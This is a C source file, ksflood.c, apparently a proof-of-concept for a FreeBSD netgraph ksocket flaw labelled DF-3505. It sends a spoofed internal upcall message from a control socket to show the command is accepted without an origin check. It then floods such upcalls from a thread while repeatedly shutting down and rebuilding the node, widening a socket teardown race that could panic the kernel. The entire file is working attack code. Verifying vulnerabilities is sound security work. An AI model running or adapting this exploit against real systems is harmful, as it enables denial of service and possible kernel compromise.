DF-3505 / ksflood.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 | /* ksflood.c -- DF-3505 verification: foreign-sender NGM_KSOCKET_INTERNAL_UPCALL. * Phase 1: prove the spoofed upcall command is ACCEPTED (rc 0) from the * hook-owner control socket (out-of-band invocation; v1 has no origin check). * Phase 2: race hammer -- thread A floods INTERNAL_UPCALL; main loop * repeatedly rebuilds the ksocket graph and shuts it down (NGM_SHUTDOWN), * widening the DF-0511 so_upcall/soclose teardown race. */ #include <sys/types.h> #include <sys/socket.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <stddef.h> #include <pthread.h> #include <errno.h> #include <err.h> static int s; static volatile int flooding = 0; static volatile long flood_count = 0; static int mkmsg(char *mbuf, u_int32_t cookie, u_int32_t cmd, const void *data, int dlen) { struct ng_mesg *msg = (struct ng_mesg *)mbuf; memset(msg, 0, sizeof(*msg) + dlen); msg->header.version = NG_VERSION; msg->header.typecookie = cookie; msg->header.cmd = cmd; msg->header.arglen = dlen; if (dlen) memcpy(msg->data, data, dlen); return (sizeof(struct ng_msghdr) + dlen); } static void send_to_hook(int sock, const char *hook, const char *mbuf, int total) { struct sockaddr_ng dst; struct iovec iov[2]; struct msghdr mhdr; struct ng_mesg *msg = (struct ng_mesg *)mbuf; memset(&dst, 0, sizeof(dst)); dst.sg_len = offsetof(struct sockaddr_ng, sg_data) + strlen(hook) + 1; dst.sg_family = AF_NETGRAPH; strcpy(dst.sg_data, hook); iov[0].iov_base = (caddr_t)&msg->header; iov[0].iov_len = sizeof(struct ng_msghdr); iov[1].iov_base = (caddr_t)msg->data; iov[1].iov_len = msg->header.arglen; memset(&mhdr, 0, sizeof(mhdr)); mhdr.msg_name = (caddr_t)&dst; mhdr.msg_namelen = dst.sg_len; mhdr.msg_iov = iov; mhdr.msg_iovlen = 2; if (sendmsg(sock, &mhdr, 0) < 0) warn("sendmsg to %s", hook); } static void * flood_thread(void *arg) { static char mbuf[256]; struct sockaddr_ng dst; int n = mkmsg(mbuf, 942710670 /* INTERNAL_COOKIE */, 1 /* UPCALL */, NULL, 0); memset(&dst, 0, sizeof(dst)); dst.sg_len = offsetof(struct sockaddr_ng, sg_data) + strlen("k0") + 1; dst.sg_family = AF_NETGRAPH; strcpy(dst.sg_data, "k0"); while (flooding) { struct ng_mesg *msg = (struct ng_mesg *)mbuf; struct iovec iov[2] = { { (caddr_t)&msg->header, sizeof(struct ng_msghdr) }, { (caddr_t)msg->data, 0 } }; struct msghdr mhdr; memset(&mhdr, 0, sizeof(mhdr)); mhdr.msg_name = (caddr_t)&dst; mhdr.msg_namelen = dst.sg_len; mhdr.msg_iov = iov; mhdr.msg_iovlen = 2; if (sendmsg(s, &mhdr, 0) < 0) { if (errno == EPIPE || errno == ENOTCONN || errno == ESRCH) continue; /* graph being rebuilt */ } else { flood_count++; } } return (NULL); } int main(int argc, char **argv) { static char mbuf[512]; int iters = argc > 1 ? atoi(argv[1]) : 200; struct ngm_mkpeer mk; struct sockaddr_in sin; pthread_t th; int i, r; /* Phase 1: build graph, bind, and send ONE spoofed upcall */ s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); { struct timeval tv = {0, 100000}; setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); } memset(&mk, 0, sizeof(mk)); strcpy(mk.type, "ksocket"); strcpy(mk.ourhook, "k0"); strcpy(mk.peerhook, "inet/dgram/udp"); r = mkmsg(mbuf, 851672668, 2 /* MKPEER */, &mk, sizeof(mk)); send_to_hook(s, "", mbuf, r); /* to own node: empty hook? use "" */ { struct timeval tv = {0, 100000}; setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); read(s, mbuf, sizeof(mbuf)); } /* name the peer */ { struct ngm_name nm; memset(&nm, 0, sizeof(nm)); strcpy(nm.name, "ks0"); r = mkmsg(mbuf, 851672668, 4, &nm, sizeof(nm)); send_to_hook(s, "k0", mbuf, r); read(s, mbuf, sizeof(mbuf)); } /* bind */ memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_port = htons(7777); r = mkmsg(mbuf, 942710669, 1 /* BIND */, &sin, sizeof(sin)); send_to_hook(s, "k0", mbuf, r); { ssize_t rr = read(s, mbuf, sizeof(mbuf)); printf("bind resp %zd (%s)\n", rr, rr < 0 ? strerror(errno) : "ok"); } /* THE SPOOF: INTERNAL_UPCALL from the control-plane socket */ r = mkmsg(mbuf, 942710670, 1, NULL, 0); send_to_hook(s, "k0", mbuf, r); { ssize_t rr = read(s, mbuf, sizeof(mbuf)); if (rr < 0) printf("SPOOF-UPCALL: no response (%s)\n", strerror(errno)); else { struct ng_mesg *rm = (struct ng_mesg *)mbuf; printf("SPOOF-UPCALL: rc response flags=%x (ACCEPTED, no error path)\n", rm->header.flags); } } fflush(stdout); /* Phase 2: hammer */ flooding = 1; pthread_create(&th, NULL, flood_thread, NULL); for (i = 0; i < iters; i++) { /* shutdown via generic NGM_SHUTDOWN through our hook */ r = mkmsg(mbuf, 851672668, 1 /* SHUTDOWN */, NULL, 0); send_to_hook(s, "k0", mbuf, r); usleep(2000); read(s, mbuf, sizeof(mbuf)); /* NB: SO_RCVTIMEO 100ms */ /* rebuild: fresh mkpeer (k0 hook died with the node) */ memset(&mk, 0, sizeof(mk)); strcpy(mk.type, "ksocket"); strcpy(mk.ourhook, "k0"); strcpy(mk.peerhook, "inet/dgram/udp"); r = mkmsg(mbuf, 851672668, 2, &mk, sizeof(mk)); send_to_hook(s, "", mbuf, r); usleep(1000); read(s, mbuf, sizeof(mbuf)); r = mkmsg(mbuf, 851672668, 4, (struct ngm_name[]){{.name="ks0"}}, sizeof(struct ngm_name)); send_to_hook(s, "k0", mbuf, r); read(s, mbuf, sizeof(mbuf)); } flooding = 0; pthread_join(th, NULL); printf("hammer done: %ld upcall sends over %d shutdown cycles; no panic\n", flood_count, iters); return (0); } |